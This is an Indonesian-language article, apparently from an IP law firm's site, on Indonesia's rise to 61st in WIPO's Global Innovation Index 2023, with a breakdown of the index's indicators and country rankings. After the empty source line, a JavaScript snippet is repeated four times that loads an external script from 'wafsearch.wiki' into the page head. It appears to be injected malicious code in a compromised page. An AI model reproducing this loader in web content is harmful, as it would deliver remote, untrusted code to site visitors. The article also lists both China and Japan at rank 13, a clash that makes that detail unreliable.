Indonesia Naik ke Peringkat 61 Negara Paling Inovatif 2023 Versi WIPO

Indonesia Naik ke Peringkat 61 Negara Paling Inovatif 2023 Versi WIPO

Kolaborasi Litbang Universitas dengan Industri jadi Kunci

 

Indeks Inovasi Global atau Global Innovation Index (GII) 2023 baru saja dirilis oleh Organisasi Kekayaan Intelektual Dunia (WIPO) dan menunjukkan bahwa inovasi secara global sedang meningkat, dengan rata-rata skor GII mencapai angka tertinggi dalam sejarah, yakni 35,9. Swiss memimpin dengan 67,6 poin dan Angola di peringkat terakhir, peringkat 132, dengan 10,3 poin saja.

 

GII menyusun peringkat untuk 132 negara di dunia berdasarkan 7 (tujuh) kategori kinerja inovasi, yang selanjutnya dibagi menjadi beberapa kriteria untuk menghasilkan poin-poin tersebut, dengan rincian sebagai berikut:

1. Institusi

a. Lingkungan Institusi

i. Kestabilan Operasional untuk Bisnis

ii. Pemerintahan yang Efektif

b. Lingkungan Peraturan

i. Kualitas Peraturan

ii. Supremasi Hukum

iii. Biaya Pemutusan yang Berulang

c. Lingkungan Bisnis

i. Kebijakan untuk Menjalankan Bisnis

ii. Kebijakan Wirausaha & Budaya

 

2. Sumber Daya Manusia & Penelitian

a. Pendidikan

i. Anggaran Pendidikan
ii. Pembelanjaan Pemerintah per Siswa
iii. Rata-rata Tingkat Pendidikan
iv. Skala PISA untuk Kemampuan Baca, Matematika, dan IPA
v. Rasio Murid-Guru

b. Pendidikan Tinggi

i. Lingkungan Pendidikan Tinggi
ii. Lulusan Sains & Teknik
iii. Jumlah Penerimaan Perguruan Tinggi

c. Penelitian dan Pengembangan (Litbang)

i. Jumlah Peneliti
ii. Anggaran untuk Litbang
iii. Jumlah Investor Global untuk Litbang
iv. Peringkat Universitas Berdasarkan Quacquarelli Symonds (QS)

 

3. Infrastruktur

a. Teknologi Informasi dan Komunikasi (TIK)

i. Akses TIK

ii. Penggunaan TIK

iii. Layanan Daring Pemerintah

iv. Partisipasi Daring

b. Infrastruktur Umum

i. Pengeluaran Listrik

ii. Performa Logistik

iii. Informasi Modal Bruto

c. Keberlangsungan Ekologis

i. Produk Domestik Bruto (PDB) per Unit Penggunaan Energi

ii. Kinerja LIngkungan

iii. Penerapan ISO 14001

 

4. Kecanggihan Pasar

a. Kredit

i. Pembiayaan untuk Merintis & Mengembangkan Perusahaan

ii. Kredit Dalam Negeri kepada Sektor Swasta

iii. Pinjaman dari Lembaga Keuangan Mikro

b. Investasi

i. Kapitalisasi pasar

ii. Investor Modal Ventura

iii. Penerima Modal Ventura

iv. Modal Ventura yang Diterima

c. Perdagangan, Diversifikasi, dan Skala Pasar

i. Penerapan Tarif yang Berlaku

ii. Diversifikasi Industri Dalam Negeri

iii. Skala Pasar Domestik

 

5. Kecanggihan Bisnis

a. Pengetahuan Pekerja

i. Pekerjaan Padat Pengetahuan

ii. Perusahaan yang Menawarkan Pelatihan Formal

iii. Anggaran untuk Litbang yang Dilakukan oleh Pebisnis

iv. Belanja untuk Litbang yang Dilakukan oleh Pebisnis

v. Pekerja Perempuan dengan Gelar Lanjutan

b. Keterkaitan Inovasi

i. Kolaborasi Litbang Universitas dengan Industri

ii. Kondisi Perkembangan Klaster

iii. Belanja Litbang yang Dibiayai Luar Negeri

iv. Usaha Patungan/Aliansi Strategis

v. Kepemilikan Sejumlah Paten yang Berkaitan

c. Penyerapan Ilmu Pengetahuan

i. Pembayaran Kekayaan Intelektual

ii. Impor Teknologi Tinggi

iii. Impor Layanan TIK

iv. Arus Masuk Bersih Investasi Langsung dari Luar Negeri

v. Kemampuan Meneliti

 

6. Hasil Nyata dari Ilmu Pengetahuan & Teknologi

a. Penciptaan Pengetahuan

i. Jumlah Paten Terdaftar

ii. Jumlah Perjanjian Kerjasama Patent (PCT)

iii. Jumlah Invensi Sederhana

iv. Artikel Ilmuwan dan Teknis

v. Indeks-H Dokumen yang Dapat Dikutip

b. Dampak Pengetahuan

i. Pertumbuhan Produktivitas Buruh

ii. Jumlah Valuasi (Startup) Unicorn

iii. Pembelanjaan untuk Perangkat Lunak

iv. Pabrikan Berteknologi Tinggi

c. Pembauran Pengetahuan

i. Pemasukan dari Kekayaan Intelektual

ii. Kompleksitas Produksi dan Ekspor

iii. Ekspor Produk Berteknologi Tinggi

iv. Ekspor Layanan TIK

v. Kualitas ISO 9001

 

7. Karya Kreatif 

a. Aset Tak Berwujud

i. Intensitas Aset Tak Berwujud

ii. Jumlah Merek Terdaftar

iii. Valuasi Merek Global

iv. Jumlah Desain Industri Terdaftar

b. Barang dan Jasa Kreatif

i. Ekspor Layanan Kreatif & Budaya

ii. Jumlah Produksi Film Nasional

iii. Pasar Hiburan dan Media

iv. Ekspor Produk Kreatif

c. Kreativitas Daring

i. Domain Generik Tingkat Atas Generik

ii. Domain Kode Negara Tingkat Atas Kode Negara

iii. Komitmen GitHub

iv. Pembuatan Aplikasi Seluler

 

Swiss menduduki posisi puncak GII selama 13 tahun berturut-turut. Tahun ini diikuti oleh Swedia, Amerika Serikat, Inggris, dan Singapura. Sepuluh negara paling inovatif berasal dari negara-negara berpendapatan tinggi. Sedangkan India, Republik Rakyat Tiongkok, Turki, Republik Islam Iran, dan Vietnam masuk ke kategori negara berpendapatan menengah paling inovatif dalam 10 tahun terakhir.

 

Sumber: WIPO Global Innovation Index 2023

 

Kesuksesan Swis menjadi negara paling inovatif ditopang oleh peringkat pertama negara ini di 2 (dua) kategori sekaligus:  Hasil Nyata dari Ilmu Pengetahuan & Teknologi, serta Karya Kreatif. Swedia tahun ini sukses mengalahkan Amerika berkat inovasinya di kategori Kecanggihan Bisnis (peringkat pertama), Infrastruktur (kedua), serta Sumber Daya Manusia dan Penelitian (ketiga). Jumlah dan kualitas Penelitan, begitu juga dengan Pekerjaan Padat Pengetahuan jadi keunggulan Swedia. 

 

Amerika Serikat yang berada di peringkat ketiga adalah negara dengan peringkat pertama terbanyak, 13 dari 80 sub kategori yang menjadi indikator GII. Diantaranya adalah Jumlah Investor Global untuk Litbang, Penerimaan Modal Ventura, Kualitas Universitas, Penilaian Gabungan Perusahaan Unicorn, Belanja Perangkat Lunak, dan jumlah Intensitas Aset Tak Berwujud.

 

Singapura yang ada di peringkat 5 (lima) menjadi perwakilan tertinggi dari negara-negara di kawasan Asia Tenggara, Asia Timur, dan Oseania (SEAO). Diikuti oleh Finlandia di peringkat 6 (enam), naik tiga peringkat dari tahun lalu, setelah sukses menjadi yang paling inovatif di kategori Infrastruktur.

 

Negara-negara besar yang juga masuk 15 besar adalah Denmark (peringkat 9), Korea Selatan (10), Perancis (11), Jepang (13), Israel (14), dan Kanada (15).

 

Sumber: WIPO Global Innovation Index 2023

 

Tiongkok tahun ini turun satu peringkat, dari 11 (sebelas) di tahun 2022, 13 di tahun ini. Namun masih berada di posisi yang bagus jika dibandingan dengan tahun-tahun sebelumnya yang tidak masuk 20 besar, serta jadi satu-satunya negara dari kategori berpendapatan menengah. Selain Tiongkok, negara-negara dengan pendapatan menengah lainnya dengan inovasi yang memuaskan adalah Malaysia (peringkat 36), Bulgaria (38), Turki (39), dan India (40).

 

Negara-Negara Dengan Lonjakan Inovasi Tertinggi 2019-2023

Dalam empat tahun terakhir, Arab Saudi (peringkat 48), Brazil (49), Mauritius (57), Indonesia (61), dan Pakistan (88) menjadi negara-negara dengan peningkatan peringkat inovasi tertinggi. Dengan kata lain, saat pandemi COVID-19 mewabah di dunia, lima negara tadi tidak hanya bertahan, tapi sukses meningkatkan inovasinya di banyak kategori.

 

Sumber: WIPO Global Innovation Index 2023

 

Pada tahun 2019, Indonesia berada di peringkat 85 dengan perolehan 29,7 poin. Tahun berikutnya saat Pandemi melanda, poinnya turun ke 26,5, namun peringkatnya tetap di 85. Di tahun-tahun berikutnya, dengan penambahan sekitar 1 (satu) poin, peningkatannya cukup signifikan, menjadikan Indonesia masuk ke peringkat 75 besar di tahun 2022. Puncaknya tahun ini beradar di peringkat 61, dengan 31,3 poin.

 

Peningkatan terbesar Indonesia berasal dari kemajuan yang signifikan untuk kategori Penciptaan Pengetahuan dan Kreativitas daring, serta indikator-indikator yang terkait TIK. Sedangkan untuk kategori Kolaborasi Litbang Universitas dengan Industri, Kondisi Perkembangan Klaster, dan Kebijakan Wirausaha & Budaya, Indonesia menduduki peringkat 5 (lima) dunia!

 

Sumber: WIPO Global Innovation Index 2023

 

Untuk kategori Pembiayaan untuk Merintis & Mengembangkan Perusahaan, Indonesia juga berada di peringkat 8 (delapan) dunia. Namun untuk Riset Sumber Daya Manusia, Indonesia masih sangat rendah, terutama pada kategori Pendidikan (peringkat 113) dan Pendidikan Tinggi (peringkat 95).

 

Dari 80 poin penentu GII, 12 atau sekitar 15%-nya berkaitan erat dengan Kekayaan Intelektual (KI). Oleh karena itu, segala upaya untuk meningkatkan edukasi dan pendidikan, perlindungan, dan penegakan hukum terkait KI harus didukung untuk meningkatkan peringkat Indonesia pada Indeks Inovasi Global.

 

Jika Anda membutuhkan informasi lebih lanjut terkait perlindungan dan penegakan hukum terkait Kekayaan Intelektual, jangan ragu untuk menghubungi kami melalui [email protected].

Sumber:

 

 var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);

Privacy Preference Center